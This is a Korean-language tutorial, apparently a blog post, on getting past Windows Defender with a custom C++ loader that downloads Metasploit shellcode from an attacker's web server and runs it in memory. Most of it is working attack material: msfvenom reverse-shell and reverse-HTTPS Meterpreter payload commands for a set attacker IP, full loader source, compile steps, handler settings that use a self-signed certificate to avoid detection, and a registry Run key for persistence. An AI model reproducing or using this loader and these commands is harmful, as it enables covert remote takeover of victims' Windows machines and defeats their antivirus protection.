How to bypass Windows Defender
How to bypass Windows Defender with Custom C++ .EXE Payload Loader (Meterpreter Reverse Shell)
아래 사이트로 들어가서 1 - Simple Loader/SimpleLoader 로 들어가자
https://github.com/TheD1rkMtr/Shellcode-Hide
SimpleLoader.cpp 를 복사하고 칼리에서 template.exe 라는 파일을 하나 만들어서 내용을 붙여넣기 하자.
nano template.cpp
아래 payload 명령을 실행하면 화면에 코드가 출력된다.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.50.9 lport=8443 -f c
복사해서 template.cpp 화일에 붙여넣기 하자.
컴파일 하자.
x86_64-w64-mingw32-g++ --static -o template.exe template.cpp
target 머신에서 template.exe 를 실행하면 windows defender에 의해 차단된다.
c++ exe payload loader 안에 metasploit shell code가 있기 때문이다.
http 서버에서 원격으로 payload 를 가져오는 방식으로 접근해야 한다.
다시 아래 사이트로 들어가서
https://github.com/TheD1rkMtr/Shellcode-Hide
4 - Fileless Shellcode 로 들어가자.
1 - Using Sockets 로 들어가자.
getShellcode_Run 함수를 복사해서 template.exe 에 붙여넣기 하자.
필요한 헤더파일도 모두 복사해서 붙여넣자.
main 함수도 복사해서 붙여넣자.
최종 수정해서 컴파일 하면 에러가 발생한다.
x86_64-w64-mingw32-g++ --static -o template.exe template.cpp -fpermissive
소켓 라이브러리 관련 에러가 발생한다.
x86_64-w64-mingw32-g++ --static -o template.exe template.cpp -fpermissive -lws2_32
컴파일에 성공하고 template.exe 파일이 만들어 졌다.
template.cpp
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define DEFAULT_BUFLEN 4096
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error123: %d\n", iResult);
return ;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return ;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return ;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return ;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return ;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return ;
}
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf("[+] Received %d Bytes\n", iResult);
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(recvbuf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
printf("Failed to Allocate memory (%u)\n", GetLastError());
return -1;
}
MoveMemory(alloc_mem, recvbuf, sizeof(recvbuf));
//RtlMoveMemory(alloc_mem, payload, sizeof(payload));
DWORD oldProtect;
if (!VirtualProtect(alloc_mem, sizeof(recvbuf), PAGE_EXECUTE_READ, &oldProtect)) {
printf("Failed to change memory protection (%u)\n", GetLastError());
return -2;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
printf("Failed to Create the thread (%u)\n", GetLastError());
return -3;
}
printf("\n\nalloc_mem : %p\n", alloc_mem);
WaitForSingleObject(tHandle, INFINITE);
((void(*)())alloc_mem)();
return 0;
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
}
int main(int argc, char** argv) {
// Validate the parameters
if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}
getShellcode_Run(argv[1], argv[2], argv[3]);
return 0;
}
payload file 을 만들자.
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.50.9 lport=8443 -f raw > beacon.bin
web server 를 실행하자.
python -m http.server
target 머신으로 가서 cmd 에서 다음을 실행하자.
칼리에서 ssh service 가 실행중이면 다음 scp 명령어를 이용할수 있다.
scp root@192.168.50.9:/root/demo/template.exe .
template.exe 192.168.50.9 8000 beacon.bin
session 이 연결 되고 처음 에는 디펜더가 감지를 못하지만 이후에 결국 감지한다.
이를 우회 하려면 reverese tcp shell code 대신 암호화된 https payload 를 이용해야 한다.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.50.9 lport=8443 -f raw > beacon.bin
metasploit 을 실행하자.
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
show options
set LHOST 192.168.50.9
show advanced
windows defender 를 우회 하려면 metasploit 이 자체 서명된 ssl 인증서를 이용해야 한다.
아래 사이트로 들어가서 Create a SSL/TLS Certificate 부분 아래에 있는 내용을 복사하자.
metasploit 에서 벗어나서 복사한 내용을 실행하자.
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \
-keyout www.example.com.key \
-out www.example.com.crt && \
cat www.example.com.key www.example.com.crt > www.example.com.pem && \
rm -f www.example.com.key www.example.com.crt
www.example.com.pem 이 만들어진 것을 확인할수 있다.
metasploit 으로 돌아와서
set HandlerSSLCert /root/demo/www.example.com.pem
set StagerVerifySSLCert true
metasploit 에서 벗어나서 payload를 다시 만들자.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.50.9 lport=8443 HandlerSSLCert=/root/demo/www.example.com.pem StagerVerifySSLCert=true -f raw > beacon.bin
metasploit 로 돌아와서 exploit 하자.
msf6 exploit(multi/handler) > exploit
metasploit 에서 벗어나서 web server를 실행하자.
python -m http.server
이제 target 머신으로 가서 template.exe 를 다운로드 하고 실행하자.
scp root@192.168.50.9:/root/Bypass/template.exe .
template.exe 192.168.50.9 8000 beacon.bin
windows defender 를 우회하는 metasploit session 이 만들어 졌다.
참고로 아래 명령을 실행하면 쉘을 얻을수 있고
meterpreter > execute -f cmd.exe -i -H
쉘을 얻은후 power shell 도 얻을수 있다.
c:\test>powershell
아래는 windows 10 에서 시작 프로그램으로 등록하는 방법이다.
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v template /t REG_SZ /d "C:\test\template.exe 192.168.50.9 8000 beacon.bin" /f